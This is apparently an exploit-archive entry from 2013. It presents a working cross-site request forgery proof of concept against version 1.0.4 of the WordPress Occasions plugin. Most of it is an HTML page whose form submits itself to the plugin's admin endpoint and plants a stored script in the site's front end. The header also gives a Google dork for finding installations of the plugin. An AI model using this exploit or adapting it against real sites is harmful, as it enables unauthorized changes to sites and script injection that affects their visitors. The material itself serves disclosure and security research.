WordPress Occasions Plugin 1.0.4 - CSRF Vulnerability



<html>

<!--

# Exploit Title: WordPress Occasions Plugin 1.0.4 CSRF

# Google Dork: inurl:"/wp-content/plugins/occasions

# Date: 18.03.2013

# Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog)

# Vendor Homepage: http://wordpress.org/extend/plugins/occasions/

# Software Link: http://downloads.wordpress.org/plugin/occasions.zip

# Version: 1.0.4

# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli)



You can use the CSRF vulnerability to add/delete Occasions. It is also possible to enter JavaScript in occ_content1 parameter when occ_type1=1 .

Think this is a feature not a bug, anyway because of the CSRF vulnerability this can be used to execute arbitrary JavaScript in the front-end area

(shortcode = [Occasions]).



PoC will add an alert in the front-end area.

Note: check occ_startdate1 and occ_enddate1 and set them appropriate.



-->



<head><title>CSRF Occasions</title></head>

<body>

    <!-- replace 127.0.0.1:9001/wordpress -->

    <form action="http://127.0.0.1:9001/wordpress/wp-admin/options-general.php?page=occasions/occasions.php" method="POST">

        <input type="hidden" name="action" value="saveoccasions" />

        <input type="hidden" name="nodes[]" value="1" />

        <input type="hidden" name="occ_title1" value="CSRF Vulnerability" />

        <input type="hidden" name="occ_startdate1" value="18.03." />

        <input type="hidden" name="occ_enddate1" value="28.03." />

        <input type="hidden" name="occ_type1" value="1" />

        <input type="hidden" name="occ_content1" value="<script>alert(1)</script>" />

        <script>document.forms[0].submit();</script>

    </form>

</body>

</html>